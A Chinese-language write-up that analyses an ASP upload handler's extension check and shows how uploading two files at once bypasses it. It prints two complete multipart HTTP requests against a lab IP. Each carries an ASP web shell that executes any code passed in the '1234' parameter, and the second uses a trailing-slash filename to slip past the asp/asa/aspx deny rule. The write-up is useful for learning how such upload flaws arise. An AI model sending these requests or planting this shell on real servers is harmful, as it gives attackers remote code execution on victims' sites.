记一次简单的 ASP 双文件上传绕过

今天蜜罐之神来问我一个 asp 文件的问题,说是有上传点和源码,确定有漏洞,但是不知道怎么构造 Payload。刚好跟京东客服小姐姐退货完,就下载了源码,定位到上传功能的 ASP 文件中

代码关于上传的功能主要是在这部分中:

select case PhotoUrlID
		case 1,2,3
		fileExt=lcase(ofile.FileExt)
		if fileEXT="jpg" or fileEXT="gif" or fileEXT="bmp" or fileEXT="jpeg" or fileEXT="png" then
			EnableUpload=true
		end if
		if EnableUpload=false then
			msg="这种文件类型不允许上传!\n\n只允许上传这几种图片类型:jpg|gif|bmp|jpeg|png|" 
			FoundErr=true
			end if
		case else
		fileExt=lcase(ofile.FileExt)
		arrUpFileType=split(UpFileType,"|")
		for i=0 to ubound(arrUpFileType)
			if fileEXT=trim(arrUpFileType(i)) then
				EnableUpload=true
				exit for
			end if
		next
		if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
			EnableUpload=false
		end if
		if EnableUpload=false then
			msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
			FoundErr=true
		end if
		end select	
		
		strJS="<SCRIPT language=javascript>" & vbcrlf
		if FoundErr<>true then
			randomize
			ranNum=int(900*rnd)+100
			filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt

			ofile.SaveToFile Server.mappath(FileName)   '保存文件

			response.write "文件上传成功!文件大小为:" & cstr(round(oFileSize/1024)) & "K"
			select case PhotoUrlID
				case 1
					strJS=strJS & "parent.document.form1.smallPhotoUrl.value='" & fileName & "';" & vbcrlf
					strJS=strJS & "parent.document.form1.picyl.src='" & fileName & "';" & vbcrlf
					strJS=strJS & "parent.document.form1.picyl.alt='图片已经上传或已经改变';" & vbcrlf
				case 2
					strJS=strJS & "parent.document.form1.zoomPhotoUrl.value='" & fileName & "';" & vbcrlf
				case 3,4
					strJS=strJS & "parent.document.form1." & trim(upload.form("inputname")) & ".value='" & fileName & "';" & vbcrlf
				case else
					strJS=strJS & "parent.document.form1." & trim(upload.form("inputname")) & ".value='" & fileName & "';" & vbcrlf
					'strJS=strJS & "parent.document.form1.fileSize.value='" & cstr(round(oFileSize/1024/1024)) & "';" & vbcrlf
					'strJS=strJS & "parent.document.form1.filetype.value='" & fileExt & "';" & vbcrlf
			end select
		else
			strJS=strJS & "alert('" & msg & "');" & vbcrlf
		  	strJS=strJS & "history.go(-1);" & vbcrlf
		end if
		strJS=strJS & "</script>" & vbcrlf
		response.write strJS
		
		set file=nothing
	next
	set upload=nothing

首先通过 PhotoUrlID 参数进行 select 操作,按照程序流程,首先来分析当 PhotoUrlID 为 1、2、3 时是什么情况

case 1,2,3
		fileExt=lcase(ofile.FileExt)
		if fileEXT="jpg" or fileEXT="gif" or fileEXT="bmp" or fileEXT="jpeg" or fileEXT="png" then
			EnableUpload=true
		end if
		if EnableUpload=false then
			msg="这种文件类型不允许上传!\n\n只允许上传这几种图片类型:jpg|gif|bmp|jpeg|png|" 
			FoundErr=true
			end if

首先获取上传文件的后缀名,并且将它转为小写,接着判断文件的小写后缀名是否是 jgp、gif、bmp、jpeg 或 png 如果是的话,则允许上传。如果不允许上传则令 FoundErr 为 true,这个变量在最后执行上传操作的时候如果不为 true 才能上传。

这个写法写得比较死,先看 case else 处

case else
		fileExt=lcase(ofile.FileExt)
		arrUpFileType=split(UpFileType,"|")
		for i=0 to ubound(arrUpFileType)
			if fileEXT=trim(arrUpFileType(i)) then
				EnableUpload=true
				exit for
			end if
		next
		if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
			EnableUpload=false
		end if
		if EnableUpload=false then
			msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
			FoundErr=true
		end if

这部分代码中,首先将文件后缀名转为小写,接着将允许的文件名字符串转为一个数组用于遍历。在 for 循环中,如果文件的小写后缀名在刚刚的数组中,则 EnableUpload 变量为 true

同时如果文件的后缀名为 asp、asa 或 aspx 的话,则不允许上传,同上如果不允许上传则令 FoundErr 为 true。

以上就是文件类型的过滤代码,最后就是文件的上传操作

if FoundErr<>true then
			randomize
			ranNum=int(900*rnd)+100
			filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt

			ofile.SaveToFile Server.mappath(FileName)   '保存文件
			/* 剩下的就是根据不同的 PhotoUrlID 做出不同的输出,就不分析了 */

文件的最终需要 FoundErr 不为 true,也就是说需要满足 EnableUpload 不为 false,找到控制 EnableUpload 变量的部分源码

/* 1 2 3 */
if fileEXT="jpg" or fileEXT="gif" or fileEXT="bmp" or fileEXT="jpeg" or fileEXT="png" then
			EnableUpload=true
		end if
/* else */
for i=0 to ubound(arrUpFileType)
			if fileEXT=trim(arrUpFileType(i)) then
				EnableUpload=true
				exit for
			end if
		next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
			EnableUpload=false
		end if

可以看到,第一部分程序只对文件后缀名进行判断,如果属于白名单的后缀名则赋值为 true;第二部分程序多了一种判断,程序后缀名不能为 asp、asa、aspx 这三个。很明显这样的判断存在一个漏洞,那就是如果我上传两个文件,第一个文件满足上传条件使 EnableUpload 为 true,而第二个文件为木马,程序使用的 EnableUpload 还是 true,就可以绕过白名单。

这两部分代码都存在双文件上传的漏洞,第一部分可以使用以下包进行上传。

POST /test/bachang/include_files/Upfile_Photo.asp HTTP/1.1
Host: 192.168.113.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------224241241126477839471325931987
Content-Length: 720
Origin: http://192.168.113.131
Connection: close
Referer: http://192.168.113.131/test/bachang/include_files/upload_Photo.asp?PhotoUrlID=2
Cookie: ASPSESSIONIDQQATCRSD=JIDPCEODJOPEENAHGFNHEGGP
Upgrade-Insecure-Requests: 1

-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.png"
Content-Type: application/octet-stream

<%
Class LandGrey
  Private Sub Class_Initialize
    execute    (request("1234"))
  End Sub
End Class

Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.asp"
Content-Type: application/octet-stream

<%
Class LandGrey
  Private Sub Class_Initialize
    execute    (request("1234"))
  End Sub
End Class

Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="Submit"

ÉÏ´«
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="PhotoUrlID"

2
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="inputname"


-----------------------------224241241126477839471325931987--

而第二部分就多了一个验证,如果文件后缀名为 asp、asa、aspx 则将 EnableUpload 改回 false

if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
			EnableUpload=false
		end if

由于开发语言使用的是 asp,大部分作用于 windows 服务器,可以使用 windows 不允许的文件名绕过,比如 /

POST /test/bachang/include_files/Upfile_Photo.asp HTTP/1.1
Host: 192.168.113.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------224241241126477839471325931987
Content-Length: 720
Origin: http://192.168.113.131
Connection: close
Referer: http://192.168.113.131/test/bachang/include_files/upload_Photo.asp?PhotoUrlID=2
Cookie: ASPSESSIONIDQQATCRSD=JIDPCEODJOPEENAHGFNHEGGP
Upgrade-Insecure-Requests: 1

-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.png"
Content-Type: application/octet-stream

<%
Class LandGrey
  Private Sub Class_Initialize
    execute    (request("1234"))
  End Sub
End Class

Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.asp/"
Content-Type: application/octet-stream

<%
Class LandGrey
  Private Sub Class_Initialize
    execute    (request("1234"))
  End Sub
End Class

Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="Submit"

ÉÏ´«
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="PhotoUrlID"

5
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="inputname"


-----------------------------224241241126477839471325931987--